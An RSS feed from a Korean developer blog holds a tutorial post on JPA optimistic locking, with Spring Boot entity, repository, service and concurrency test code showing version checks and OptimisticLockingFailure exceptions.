<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>모르는게 많은 개발자</title>
    <link>https://cjw-awdsd.tistory.com/</link>
    <description>Git : https://github.com/CJW23
Email : cjw7242@gmail.com</description>
    <language>ko</language>
    <pubDate>Wed, 6 May 2026 14:30:34 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>Awdsd</managingEditor>
    <image>
      <title>모르는게 많은 개발자</title>
      <url>https://tistory1.daumcdn.net/tistory/3558645/attach/e15893d99915441fa9bc03c1d418fb13</url>
      <link>https://cjw-awdsd.tistory.com</link>
    </image>
    <item>
      <title>[JPA] 낙관적, 비관적 Lock 개념/예제</title>
      <link>https://cjw-awdsd.tistory.com/58</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이번 포스팅에서는 JPA의 낙관적 잠금과 비관적 잠금을 테스트를 통해 설명하고자 한다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포스팅 내용에 &lt;code&gt;DB Lock&lt;/code&gt; 개념도 포함되기 때문에 &lt;code&gt;Lock&lt;/code&gt;에 대한 이해가 필요하면 이전 게시글(&lt;a href=&quot;https://cjw-awdsd.tistory.com/57&quot;&gt;https://cjw-awdsd.tistory.com/57&lt;/a&gt;)을 먼저 읽고 보는 것을 추천합니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1&gt;&lt;b&gt;낙관적 잠금(Optimistic Lock)&lt;/b&gt;&lt;/h1&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;aside&gt;  대부분의 트랜잭션이 충돌이 발생하지 않을 것이라고 낙관적으로 가정하는 방법(**충돌 나면 에러 발생**) 어플리케이션 레벨에서 지원하는 락&lt;/aside&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;락 처리 방법 : @Version&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JPA의 &lt;code&gt;@Version&lt;/code&gt; 어노테이션을 사용해 엔티티 버전을 관리할 수 있다. &lt;code&gt;@Version&lt;/code&gt; 적용이 가능한 타입은 &lt;code&gt;long&lt;/code&gt;, &lt;code&gt;integer&lt;/code&gt;, &lt;code&gt;short&lt;/code&gt;, &lt;code&gt;timestamp&lt;/code&gt;이다. 아래는 어노테이션 적용 예시 코드이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JPA의 &lt;code&gt;@Version&lt;/code&gt; 어노테이션을 사용하면 엔티티의 버전을 관리할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;java&quot; data-ke-language=&quot;java&quot;&gt;&lt;code&gt;@Entity
public class Member {
    @Id
    @GeneratedValue
    private Long id;

    @Version
    Integer version;
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;낙관적 락 LockMode&lt;/b&gt;&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;None&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;별도의 옵션을 사용하지 않아도 Entity에 &lt;code&gt;@Version&lt;/code&gt;이 적용된 필드만 있을 때 낙관적 락 적용&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;트랜잭션 시작후 엔티티를 수정하고 트랜잭션이 종료될 때까지&lt;/b&gt; 다른 트랜잭션에서 같은 엔티티가 변경되지 않음을 보장.&lt;/li&gt;
&lt;li&gt;엔티티가 조회 후 변경될 때 버전도 같이 증가 &amp;rarr; &lt;b&gt;버전이 조회 시점과 다르면 예외 발생&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테스트 코드&lt;/p&gt;
&lt;pre class=&quot;java&quot; data-ke-language=&quot;java&quot;&gt;&lt;code&gt;@Entity
@Getter
@Builder
@AllArgsConstructor
@NoArgsConstructor
public class LockParent {
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    @Column(name = &quot;parent_id&quot;, nullable = false)
    private Long parentId;
    @Version
    private Integer version;
    private long count;

    public static LockParent ofDefault() {
        return LockParent.builder().count(0L).build();
    }
    public void plusCount() {
        this.count += 1;
    }
}

@Service
@RequiredArgsConstructor
@Transactional(readOnly = true)
public class LockTestService {
    private final LockParentRepository lockParentRepository;

    @Transactional
    public void insertLockParent() {
        LockParent lockParent = LockParent.ofDefault();
        this.lockParentRepository.save(lockParent);
    }

    @Transactional
    public void plusCount(Long parentId) {
        LockParent lockParent = this.lockParentRepository.findById(parentId).orElseThrow(() -&amp;gt; new RuntimeException(&quot;&quot;));
        lockParent.plusCount();
    }
}

@Repository
public interface LockParentRepository extends JpaRepository&amp;lt;LockParent, Long&amp;gt; {}

@SpringBootTest
public class LockTests {
    @Autowired
    LockTestService lockTestService;

    @Test
    void Parent_삽입() {
        lockTestService.insertLockParent();
    }

    @Test
    void parent_동시_업데이트() {
        CompletableFuture&amp;lt;Void&amp;gt; task1 = CompletableFuture.runAsync(() -&amp;gt; {
            this.lockTestService.plusCount(1L);
        });
        CompletableFuture&amp;lt;Void&amp;gt; task2 = CompletableFuture.runAsync(() -&amp;gt; {
            this.lockTestService.plusCount(1L);
        });
        CompletableFuture&amp;lt;Void&amp;gt; task3 = CompletableFuture.runAsync(() -&amp;gt; {
            this.lockTestService.plusCount(1L);
        });

        CompletableFuture.allOf(task1, task2, task3).join();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿼리 순서를 보면 다음과 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;623&quot; data-origin-height=&quot;396&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/E8bbb/btr7gPxQ1lN/wEKIhZp1kPQyNXNBww6pCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/E8bbb/btr7gPxQ1lN/wEKIhZp1kPQyNXNBww6pCK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/E8bbb/btr7gPxQ1lN/wEKIhZp1kPQyNXNBww6pCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FE8bbb%2Fbtr7gPxQ1lN%2FwEKIhZp1kPQyNXNBww6pCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;452&quot; height=&quot;287&quot; data-origin-width=&quot;623&quot; data-origin-height=&quot;396&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;378&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/crrhbt/btr7msPzZTH/AKEqMJKb8brQkDHfiShRd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/crrhbt/btr7msPzZTH/AKEqMJKb8brQkDHfiShRd1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/crrhbt/btr7msPzZTH/AKEqMJKb8brQkDHfiShRd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcrrhbt%2Fbtr7msPzZTH%2FAKEqMJKb8brQkDHfiShRd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;457&quot; height=&quot;280&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;378&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두개의 트랜잭션에서 &lt;code&gt;SELECT&lt;/code&gt;가 먼저 수행되고 &lt;code&gt;UPDATE&lt;/code&gt;를 처리하는 것을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테스트 수행시 아래처럼 &lt;code&gt;ObjectOptimisticLockingFailureException&lt;/code&gt; 발생&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;120&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQje8Y/btr7fZBcICz/l73MY8KXTrz1d1WY8jUnt1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQje8Y/btr7fZBcICz/l73MY8KXTrz1d1WY8jUnt1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQje8Y/btr7fZBcICz/l73MY8KXTrz1d1WY8jUnt1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQje8Y%2Fbtr7fZBcICz%2Fl73MY8KXTrz1d1WY8jUnt1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;974&quot; height=&quot;120&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;120&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;어떻게 다른 트랜잭션에서 &lt;code&gt;Version&lt;/code&gt; 변경된 것을 체크하나&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;UPDATE&lt;/code&gt; 쿼리를 보면 &lt;code&gt;WHERE&lt;/code&gt;문에 &lt;code&gt;verion=?&lt;/code&gt;이 포함되어 있다.&lt;br /&gt;트랜잭션1에서 &lt;b&gt;&lt;code&gt;SELECT&lt;/code&gt; 조회한 엔티티의 &lt;code&gt;Version&lt;/code&gt;을 &lt;code&gt;WHERE&lt;/code&gt;문에 담는다.&lt;/b&gt;&lt;br /&gt;하지만 다른 트랜잭션2에서 만약 &lt;code&gt;UPDATE&lt;/code&gt;를 해서 &lt;code&gt;version&lt;/code&gt;이 변경되었다면 트랜잭션1의 &lt;code&gt;UPDATE WHERE&lt;/code&gt;문은 성립하지 않기(&lt;code&gt;Version&lt;/code&gt;이 달라지기에)에 변경되는 데이터가 없게 된다. &lt;code&gt;Exception&lt;/code&gt; 확인시 &lt;code&gt;Batch update returned unexpected row count from update [0]; actual row count: 0; expected: 1;&lt;/code&gt; 변경된 값이 없어 예외가 난 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;LockMode.OPTIMISTIC&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;None&lt;/code&gt;은 엔티티 수정시 낙관적 잠금이 발생했지만 &lt;code&gt;OPTIMISTIC&lt;/code&gt;은 &lt;b&gt;조회에도 낙관적 잠금이 발생&lt;/b&gt;하도록 한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;조회에도 &lt;code&gt;Version&lt;/code&gt;을 체크하고 트랜잭션이 종료될 때까지 다른 트랜잭션에서 변경되지 않음을 보장&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dirty read&lt;/code&gt;, &lt;code&gt;non-repeatable read&lt;/code&gt; 를 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;java&quot; data-ke-language=&quot;java&quot;&gt;&lt;code&gt;@Service
@RequiredArgsConstructor
@Transactional(readOnly = true)
@Slf4j
public class LockTestService {
    private final LockParentRepository lockParentRepository;

        /**
     * LockParent count 증가
     */
    @Transactional
    public void plusCount(Long parentId) {
        LockParent lockParent = this.lockParentRepository.findById(parentId).orElseThrow(() -&amp;gt; new RuntimeException(&quot;&quot;));
        lockParent.plusCount();
                log.info(&quot;\nplusCount 종료&quot;);
    }

    /**
     * LockParent 조회
     */
    public void findParentById(Long parentId) {
        this.lockParentRepository.findById(parentId);
                //1초후 트랜잭션 종료
        try {
            Thread.sleep(1000);
        } catch (InterruptedException e) {
            throw new RuntimeException(e);
        }
                log.info(&quot;\nfindParentById 종료&quot;);
    }
}

@Repository
public interface LockParentRepository extends JpaRepository&amp;lt;LockParent, Long&amp;gt; {
    /**
     * OPTIMISTIC 모드로 조회 
     */
    @Override
    @Lock(LockModeType.OPTIMISTIC)
    Optional&amp;lt;LockParent&amp;gt; findById(Long id);
}

/**
 * Optimistic 테스트
 */
@SpringBootTest
public class LockTests {
    @Autowired
    LockTestService lockTestService;

    @Test
    void Lock_Optimistic_동시_조회_업데이트() {
        CompletableFuture&amp;lt;Void&amp;gt; task2 = CompletableFuture.runAsync(() -&amp;gt; {
            this.lockTestService.findParentById(1L);
        });
        CompletableFuture&amp;lt;Void&amp;gt; task3 = CompletableFuture.runAsync(() -&amp;gt; {
            this.lockTestService.plusCount(1L);
        });

        CompletableFuture.allOf(task2, task3).join();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테스트 코드 수행후 발생한 쿼리는 다음과 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;428&quot; data-origin-height=&quot;372&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JLc1d/btr7n2wnVOj/FObPhsVoEenK0TpZfGKD81/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JLc1d/btr7n2wnVOj/FObPhsVoEenK0TpZfGKD81/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JLc1d/btr7n2wnVOj/FObPhsVoEenK0TpZfGKD81/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJLc1d%2Fbtr7n2wnVOj%2FFObPhsVoEenK0TpZfGKD81%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;326&quot; height=&quot;283&quot; data-origin-width=&quot;428&quot; data-origin-height=&quot;372&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;267&quot; data-origin-height=&quot;707&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/67UUo/btr7g7S0HgC/NIkYVkkME1GVlIagET2Epk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/67UUo/btr7g7S0HgC/NIkYVkkME1GVlIagET2Epk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/67UUo/btr7g7S0HgC/NIkYVkkME1GVlIagET2Epk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F67UUo%2Fbtr7g7S0HgC%2FNIkYVkkME1GVlIagET2Epk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;206&quot; height=&quot;545&quot; data-origin-width=&quot;267&quot; data-origin-height=&quot;707&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;findParentById()&lt;/code&gt;, &lt;code&gt;plusCount()&lt;/code&gt; 모두 트랜잭션 끝날 때 &lt;code&gt;Version&lt;/code&gt;을 조회한다는 것을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과는 아래처럼 예외가 발생한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1275&quot; data-origin-height=&quot;404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dX1ihT/btr7hRvCJBU/6oRCFx7SVJoyMafCJmmhf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dX1ihT/btr7hRvCJBU/6oRCFx7SVJoyMafCJmmhf1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dX1ihT/btr7hRvCJBU/6oRCFx7SVJoyMafCJmmhf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdX1ihT%2Fbtr7hRvCJBU%2F6oRCFx7SVJoyMafCJmmhf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;706&quot; height=&quot;224&quot; data-origin-width=&quot;1275&quot; data-origin-height=&quot;404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;최신 버전&lt;/code&gt;이 발견되었다는 내용 즉, &lt;code&gt;Version&lt;/code&gt;을 비교할 때 값이 다르기에 예외 발생&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;LockMode.OPTIMISTIC_FORCE_INCREMENT&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;OPTIMISTIC_FORCE_INCREMENT&lt;/code&gt; 모드는 엔티티를 읽기만 해도 &lt;code&gt;Version&lt;/code&gt;을 업데이트 한다.&lt;/p&gt;
&lt;pre class=&quot;java&quot; data-ke-language=&quot;java&quot;&gt;&lt;code&gt;@Repository
public interface LockParentRepository extends JpaRepository&amp;lt;LockParent, Long&amp;gt; {
    @Override
    @Lock(LockModeType.OPTIMISTIC_FORCE_INCREMENT)
    List&amp;lt;LockParent&amp;gt; findAll();

    @Query(&quot;SELECT lp FROM LockParent lp join fetch lp.lockChildren where lp.parentId = :parentId&quot;)
    @Lock(LockModeType.OPTIMISTIC_FORCE_INCREMENT)
    LockParent findByIdWithChild(@Param(&quot;parentId&quot;) Long parentId);

    @Query(&quot;SELECT lp FROM LockParent lp WHERE lp.parentId = :parentId&quot;)
    @Lock(LockModeType.OPTIMISTIC_FORCE_INCREMENT)
    LockParent findByIdForceIncrement(@Param(&quot;parentId&quot;) Long parentId);
}

@Service
@RequiredArgsConstructor
@Transactional(readOnly = true)
@Slf4j
public class LockTestService {
    private final LockParentRepository lockParentRepository;
    private final EntityManager em;

    /**
     * lockParent Version 증가
     * lockChild Version 증가 X
     */
    @Transactional
    public void findParentByIdForceIncrement(Long parentId) {
        LockParent lockParent = this.em.find(LockParent.class, parentId, LockModeType.OPTIMISTIC_FORCE_INCREMENT);
        List&amp;lt;LockChild&amp;gt; lockChildren = lockParent.getLockChildren();
    }

    /**
     * 모든 Parent Version 증가
     */
    @Transactional
    public void findAllForceIncrement() {
        List&amp;lt;LockParent&amp;gt; lockParents = this.lockParentRepository.findAll();
    }

    /**
     * fetch join LockParent Version 같이 증가
     */
    @Transactional
    public void findParentByIdWithChild(Long parentId) {
        LockParent lockParent = this.lockParentRepository.findByIdWithChild(parentId);
    }

    /**
     * 엔티티 값이 변경된 경우 Version 2 증가
     * 값을 업데이트 하면서 한번 증가
     * 트랜잭션이 끝나고 강제 한번 증가
     * 총 2번
     */
    @Transactional
    public void updateParentForceIncrement(Long parentId) {
        LockParent lockParent = this.lockParentRepository.findByIdForceIncrement(parentId);
        lockParent.plusCount();
    }
}

@SpringBootTest
public class LockTests {
    @Autowired
    LockTestService lockTestService;

    @Test
    void Lock_Optimistic_Force_Increment_Find_Parent() {
        this.lockTestService.findParentByIdForceIncrement(1L);
    }

    @Test
    void Lock_Optimistic_Force_Increment_Find_All() {
        this.lockTestService.findAllForceIncrement();
    }

    @Test
    void Lock_Optimistic_Force_Increment_Find_Fetch_Join() {
        this.lockTestService.findParentByIdWithChild(1L);
    }

    @Test
    void Lock_Optimistic_Force_Increment_Update() {
        this.lockTestService.updateParentForceIncrement(1L);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Lock_Optimistic_Force_Increment_Find_Parent()&lt;/code&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;Parent Version&lt;/code&gt; 1 증가&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;832&quot; data-origin-height=&quot;932&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/96L2f/btr7fZBcMQi/tYtNySMRITKYc2ukIu4gQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/96L2f/btr7fZBcMQi/tYtNySMRITKYc2ukIu4gQ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/96L2f/btr7fZBcMQi/tYtNySMRITKYc2ukIu4gQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F96L2f%2Fbtr7fZBcMQi%2FtYtNySMRITKYc2ukIu4gQ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;332&quot; height=&quot;372&quot; data-origin-width=&quot;832&quot; data-origin-height=&quot;932&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;423&quot; data-origin-height=&quot;141&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uphTm/btr7fZVt9ov/hxAM9ceubcWZMvK5ErHdmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uphTm/btr7fZVt9ov/hxAM9ceubcWZMvK5ErHdmK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uphTm/btr7fZVt9ov/hxAM9ceubcWZMvK5ErHdmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuphTm%2Fbtr7fZVt9ov%2FhxAM9ceubcWZMvK5ErHdmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;423&quot; height=&quot;141&quot; data-origin-width=&quot;423&quot; data-origin-height=&quot;141&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Lock_Optimistic_Force_Increment_Find_Fetch_Join&lt;/code&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;Fetch Join&lt;/code&gt;을 통해 &lt;code&gt;Parent&lt;/code&gt;, &lt;code&gt;Child&lt;/code&gt; &lt;code&gt;Version&lt;/code&gt; 1씩 증가&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;754&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cCZQpS/btr7fY3nlDm/O3OdpBth78sWiDgxlB3tI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cCZQpS/btr7fY3nlDm/O3OdpBth78sWiDgxlB3tI1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cCZQpS/btr7fY3nlDm/O3OdpBth78sWiDgxlB3tI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcCZQpS%2Fbtr7fY3nlDm%2FO3OdpBth78sWiDgxlB3tI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;418&quot; height=&quot;328&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;754&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;498&quot; data-origin-height=&quot;806&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YOtcP/btr7n1Yx24z/zaIGiNUOlRms5QL59jWC91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YOtcP/btr7n1Yx24z/zaIGiNUOlRms5QL59jWC91/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YOtcP/btr7n1Yx24z/zaIGiNUOlRms5QL59jWC91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYOtcP%2Fbtr7n1Yx24z%2FzaIGiNUOlRms5QL59jWC91%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;222&quot; height=&quot;359&quot; data-origin-width=&quot;498&quot; data-origin-height=&quot;806&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;589&quot; data-origin-height=&quot;256&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/clWH4l/btr7iKCYOkL/sCUBIk0VQR0E75Pts5RYDK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/clWH4l/btr7iKCYOkL/sCUBIk0VQR0E75Pts5RYDK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/clWH4l/btr7iKCYOkL/sCUBIk0VQR0E75Pts5RYDK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FclWH4l%2Fbtr7iKCYOkL%2FsCUBIk0VQR0E75Pts5RYDK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;444&quot; height=&quot;193&quot; data-origin-width=&quot;589&quot; data-origin-height=&quot;256&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;Lock_Optimistic_Force_Increment_Update&lt;/code&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;Version&lt;/code&gt; 2 증가&lt;/li&gt;
&lt;/ul&gt;
